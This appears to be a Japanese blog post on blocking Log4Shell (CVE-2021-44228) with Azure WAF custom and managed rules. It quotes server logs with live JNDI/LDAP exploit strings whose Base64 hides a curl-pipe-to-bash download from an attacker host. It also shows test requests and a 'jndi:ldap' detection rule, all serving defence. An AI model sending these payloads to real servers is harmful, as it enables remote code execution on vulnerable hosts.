Azure

Azure WAFでlog4jの脆弱性(CVE-2021-44228)対策をしてみる。

はじめに

Azure でのlog4jの脆弱性(CVE-2021-44228)の対策のひとつです。
アップデートするのが良いと思いますが一時しのぎということで
Azure WAFでカスタムルールマネージドルールを設定して脆弱性の対策を行います。
(2021/12/16更新)

ここではAzure WAFなどサービスの利用方法については記述しません。
セキュリティの専門家ではないのでご了承ください。

今回サーバーのログに残っていたものです。
一部IPなど修正しています。
Base64の中はcurl {IP}|bash してます。つまりコマンド実行しようとしています。

45.153.xxx.xxx - - [10/Dec/2021:21:03:35 +0900] "GET / HTTP/1.1" 301 512 "-" "${jndi:ldap://9f07e758d269.bingsearxxxxxx.com:39356/a}"
45.155.xxx.xxx - - [10/Dec/2021:22:00:41 +0900] "GET / HTTP/1.1" 301 531 "-" "${jndi:ldap://45.155.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo4MCl8YmFzaA==}"
45.155.xxx.xxx - - [10/Dec/2021:23:40:59 +0900] "GET / HTTP/1.1" 301 5368 "-" "${jndi:ldap://45.155.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMTMuNzguMjguMTY6NDQzKXxiYXNo}"
45.155.xxx.xxx - - [10/Dec/2021:23:41:02 +0900] "GET / HTTP/1.1" 200 35233 "https://13.78.xxx.xxx:443/" "${jndi:ldap://45.155.xxx.xxx3:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMTMuNzguMjguMTY6NDQzKXxiYXNo}"
45.155.xxx.xxx - - [11/Dec/2021:03:12:42 +0900] "GET / HTTP/1.1" 301 531 "-" "${jndi:ldap://45.155.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo4MCl8YmFzaA==}"
45.155.xxx.xxx - - [11/Dec/2021:04:20:42 +0900] "GET / HTTP/1.1" 301 5368 "-" "${jndi:ldap://45.155.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMTMuNzguMjguMTY6NDQzKXxiYXNo}"
45.155.xxx.xxx - - [11/Dec/2021:04:20:46 +0900] "GET / HTTP/1.1" 200 35240 "https://13.78.xxx.xxx:443/" "${jndi:ldap://45.155.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgAASFoyaSsSO1LjIwNS4yMzM6NTg3NC8xMy43OC4yOC4xNjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMTMuNzguMjguMTY6NDQzKXxiYXNo}"

[追加2021/12/15]
FrontDoorでは元々マネージドルールで対応できているようです。
944240 “Remote Command Execution”

# curl -ks -I https://fdlog4j.azurefd.net  -H 'User-Agent: ${jndi:ldap://TESTURL}'
HTTP/2 403
x-azure-ref: 0tW25YQAAAACD1AdpuBODQYOGiLvMlvurVFlPMDFFREdFMjMwOQBjNmUzMjgyMy02OGQxLTRjYzUtYmQ5My00NmYxODM5Y2JhZDE=
date: Wed, 15 Dec 2021 04:23:17 GMT

[追加2021/12/16]
東日本リージョンにおいてもApplication Gatewayのマネージドルールでも対応されるようになったようです。
そのため下記のカスタムルールの設定は基本的に行わなくても良いです。
カスタムルールはもっと細かな対策を個々に行いたいときに設定してください。

# curl -ks -I https://20.1xx.xxx.41 -H 'User-Agent: ${jndi:ldap://TESTURL}'
HTTP/1.1 403 Forbidden
Server: Microsoft-Azure-Application-Gateway/v2
Date: Wed, 15 Dec 2021 16:40:54 GMT
Content-Type: text/html
Content-Length: 179
Connection: keep-alive

カスタムルール作成

今回の攻撃は、User-Agentにjndi:ldapという文字列が存在するため、これを検出防止します。
だたし、今後の出てくる情報によってさらにルールの追加が必要かもしれません。

カスタムルールの作成を行います。

カスタムルール:任意の名前
優先度:任意の優先度

一致の種類:文字列
一致変数:RequestHeaders
ヘッダー名:User-Agent
演算:次の値に一致する
演算子:次の値を含む
一致する値:jndi:ldap

以上のルールを適用します。

今回はApplication Gatewayに対してWAFを有効化して、本ブログのサーバーをバックエンドにしています。

確認

防止モード

# curl -ks -I https://level69.net  -H 'User-Agent: ${jndi:ldap://TESTURL}'
HTTP/1.1 403 Forbidden
Server: Microsoft-Azure-Application-Gateway/v2
Date: Sat, 11 Dec 2021 07:55:13 GMT
Content-Type: text/html
Content-Length: 179
Connection: keep-alive

検出モード

# curl -ks -I https://level69.net  -H 'User-Agent: ${jndi:ldap://TESTURL}'
HTTP/1.1 200 OK
Date: Sat, 11 Dec 2021 07:56:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding

防止モードではApplication Gatewayが拒否していることが分かります。

おわりに

log4jの脆弱性(CVE-2021-44228)の対策はアップデートを推奨しますが、
既存の環境で対策を一時的に行いたいなどの場合にはWAFを利用するのも有効だと思います。

-Azure
-,